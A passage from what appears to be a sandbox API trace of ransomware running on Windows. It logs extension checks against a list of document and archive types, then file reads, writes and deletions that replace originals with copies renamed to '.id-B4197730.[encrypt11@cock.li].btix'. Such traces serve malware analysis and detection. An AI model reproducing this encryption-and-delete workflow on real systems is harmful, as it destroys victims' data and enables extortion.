(lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString=".jpg") returned 4 [0043.634] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString=".doc") returned 4 [0043.635] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.635] lstrlenW (lpString=".docx") returned 5 [0043.635] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0043.635] lstrlenW (lpString=".pdf") returned 4 [0043.635] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.635] lstrlenW (lpString=".xls") returned 4 [0043.635] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.635] lstrlenW (lpString=".xlsx") returned 5 [0043.635] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0043.635] lstrlenW (lpString=".ppt") returned 4 [0043.635] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.635] lstrlenW (lpString=".zip") returned 4 [0043.635] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.635] lstrlenW (lpString=".rar") returned 4 [0043.635] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.635] lstrlenW (lpString=".bz2") returned 4 [0043.635] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.635] lstrlenW (lpString=".7z") returned 3 [0043.635] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.635] lstrlenW (lpString=".dbf") returned 4 [0043.635] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.635] lstrlenW (lpString=".1cd") returned 4 [0043.635] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.635] lstrlenW (lpString=".jpg") returned 4 [0043.635] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.636] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.636] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0043.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.636] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1150) returned 1 [0043.636] CloseHandle (hObject=0x354) returned 1 [0043.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0043.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.636] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.636] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.636] GetLastError () returned 0x0 [0043.636] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x47e, lpOverlapped=0x0) returned 1 [0043.676] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x480, lpOverlapped=0x0) returned 1 [0043.676] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.677] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf4, lpOverlapped=0x0) returned 1 [0043.677] SetEndOfFile (hFile=0x324) returned 1 [0043.677] CloseHandle (hObject=0x324) returned 1 [0043.677] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.677] SetEndOfFile (hFile=0x354) returned 1 [0043.678] CloseHandle (hObject=0x354) returned 1 [0043.678] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.678] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0043.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.678] lstrlenW (lpString=".doc") returned 4 [0043.679] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.679] lstrlenW (lpString=".docx") returned 5 [0043.679] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.679] lstrlenW (lpString=".pdf") returned 4 [0043.679] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString=".xls") returned 4 [0043.679] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString=".xlsx") returned 5 [0043.679] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.679] lstrlenW (lpString=".ppt") returned 4 [0043.679] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString=".zip") returned 4 [0043.679] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString=".rar") returned 4 [0043.679] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString=".bz2") returned 4 [0043.679] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.679] lstrlenW (lpString=".7z") returned 3 [0043.679] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString=".dbf") returned 4 [0043.679] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString=".1cd") returned 4 [0043.679] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString=".jpg") returned 4 [0043.679] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.679] lstrlenW (lpString=".doc") returned 4 [0043.679] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.679] lstrlenW (lpString=".docx") returned 5 [0043.679] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.679] lstrlenW (lpString=".pdf") returned 4 [0043.680] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.680] lstrlenW (lpString=".xls") returned 4 [0043.680] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.680] lstrlenW (lpString=".xlsx") returned 5 [0043.680] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.680] lstrlenW (lpString=".ppt") returned 4 [0043.680] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.680] lstrlenW (lpString=".zip") returned 4 [0043.680] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.680] lstrlenW (lpString=".rar") returned 4 [0043.680] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.680] lstrlenW (lpString=".bz2") returned 4 [0043.680] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.680] lstrlenW (lpString=".7z") returned 3 [0043.680] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.680] lstrlenW (lpString=".dbf") returned 4 [0043.680] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.680] lstrlenW (lpString=".1cd") returned 4 [0043.680] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0043.680] lstrlenW (lpString=".jpg") returned 4 [0043.680] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.680] lstrcmpiW (lpString1=".mzz", lpString2=".btix") returned 1 [0043.680] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0043.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.681] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=181483595) returned 1 [0043.681] CloseHandle (hObject=0x354) returned 1 [0043.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0043.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.681] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0043.681] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.681] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc64 | out: lpNewFilePointer=0x0) returned 1 [0043.681] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0043.682] ReadFile (in: hFile=0x354, lpBuffer=0x3d26058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d26058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0043.841] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0043.841] ReadFile (in: hFile=0x354, lpBuffer=0x3d66058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d66058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0044.051] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.051] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0044.051] ReadFile (in: hFile=0x354, lpBuffer=0x3da6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3da6058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0044.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.178] WriteFile (in: hFile=0x354, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x316fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0044.188] SetEndOfFile (hFile=0x354) returned 1 [0044.189] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4343f18 [0044.193] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.193] WriteFile (in: hFile=0x354, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.194] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.194] WriteFile (in: hFile=0x354, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.195] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.195] WriteFile (in: hFile=0x354, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.196] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0044.196] CloseHandle (hObject=0x354) returned 1 [0045.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString=".doc") returned 4 [0045.359] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0045.359] lstrlenW (lpString=".docx") returned 5 [0045.359] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0045.359] lstrlenW (lpString=".pdf") returned 4 [0045.359] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0045.359] lstrlenW (lpString=".xls") returned 4 [0045.359] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0045.359] lstrlenW (lpString=".xlsx") returned 5 [0045.359] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0045.359] lstrlenW (lpString=".ppt") returned 4 [0045.359] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString=".zip") returned 4 [0045.359] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0045.359] lstrlenW (lpString=".rar") returned 4 [0045.359] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0045.359] lstrlenW (lpString=".bz2") returned 4 [0045.359] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0045.359] lstrlenW (lpString=".7z") returned 3 [0045.359] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString=".dbf") returned 4 [0045.359] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString=".1cd") returned 4 [0045.359] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0045.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.359] lstrlenW (lpString=".jpg") returned 4 [0045.360] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString=".doc") returned 4 [0045.360] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0045.360] lstrlenW (lpString=".docx") returned 5 [0045.360] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0045.360] lstrlenW (lpString=".pdf") returned 4 [0045.360] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0045.360] lstrlenW (lpString=".xls") returned 4 [0045.360] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0045.360] lstrlenW (lpString=".xlsx") returned 5 [0045.360] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0045.360] lstrlenW (lpString=".ppt") returned 4 [0045.360] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString=".zip") returned 4 [0045.360] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0045.360] lstrlenW (lpString=".rar") returned 4 [0045.360] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0045.360] lstrlenW (lpString=".bz2") returned 4 [0045.360] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0045.360] lstrlenW (lpString=".7z") returned 3 [0045.360] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString=".dbf") returned 4 [0045.360] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString=".1cd") returned 4 [0045.360] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0045.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0045.360] lstrlenW (lpString=".jpg") returned 4 [0045.360] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0045.361] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0045.361] lstrlenW (lpString="SetupEngine.dll") returned 15 [0045.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.361] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=807256) returned 1 [0045.361] CloseHandle (hObject=0x354) returned 1 [0045.361] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0045.361] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.361] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.361] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0045.362] GetLastError () returned 0x0 [0045.362] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0045.376] WriteFile (in: hFile=0x36c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0045.389] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.389] WriteFile (in: hFile=0x36c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf2, lpOverlapped=0x0) returned 1 [0045.389] SetEndOfFile (hFile=0x36c) returned 1 [0045.389] CloseHandle (hObject=0x36c) returned 1 [0045.400] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.400] SetEndOfFile (hFile=0x354) returned 1 [0045.428] CloseHandle (hObject=0x354) returned 1 [0045.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.429] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0045.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.429] lstrlenW (lpString=".doc") returned 4 [0045.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".docx") returned 5 [0045.430] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0045.430] lstrlenW (lpString=".pdf") returned 4 [0045.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".xls") returned 4 [0045.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".xlsx") returned 5 [0045.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0045.430] lstrlenW (lpString=".ppt") returned 4 [0045.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString=".zip") returned 4 [0045.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".rar") returned 4 [0045.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".bz2") returned 4 [0045.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.430] lstrlenW (lpString=".7z") returned 3 [0045.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString=".dbf") returned 4 [0045.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString=".1cd") returned 4 [0045.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString=".jpg") returned 4 [0045.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.430] lstrlenW (lpString=".doc") returned 4 [0045.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.430] lstrlenW (lpString=".docx") returned 5 [0045.430] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0045.431] lstrlenW (lpString=".pdf") returned 4 [0045.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.431] lstrlenW (lpString=".xls") returned 4 [0045.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.431] lstrlenW (lpString=".xlsx") returned 5 [0045.431] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0045.431] lstrlenW (lpString=".ppt") returned 4 [0045.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 